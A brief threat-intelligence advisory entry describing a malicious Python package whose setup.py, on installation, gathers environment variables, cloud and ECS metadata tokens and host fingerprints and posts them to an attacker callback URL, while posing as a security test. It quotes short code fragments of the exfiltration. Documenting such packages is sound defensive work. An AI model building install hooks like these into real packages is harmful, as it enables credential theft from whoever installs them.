GCVE-110-OSM-2026-12223

During installation, package exfiltrates environment variables, tokens from cloud environments and fingerprints the environment. It identifies itself as a security testing engagement. Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-09-praetorian-mind-rce-test-2026 Reasons (based on the campaign): - exfiltration-env-variables - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. - exfiltration-cloud-tokens DESTINATION - 2 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Environment Variable Exfiltration in setup.py: "os.environ.items())} # ECS metadata ecs_uri = os.environ.get("ECS_CONTAINER_META..." - Python File Upload to Remote in setup.py: "urllib.request.Request( CALLBACK_URL, data=" - Data Encoding for Exfiltration in setup.py: "json.dumps(info).encode" - Network Request in setup.py: "urllib.request.urlopen(" ADDITIONAL FINDINGS - Shell Command Execution in setup.py: "subprocess.check_output(" PAYLOAD FILES setup.py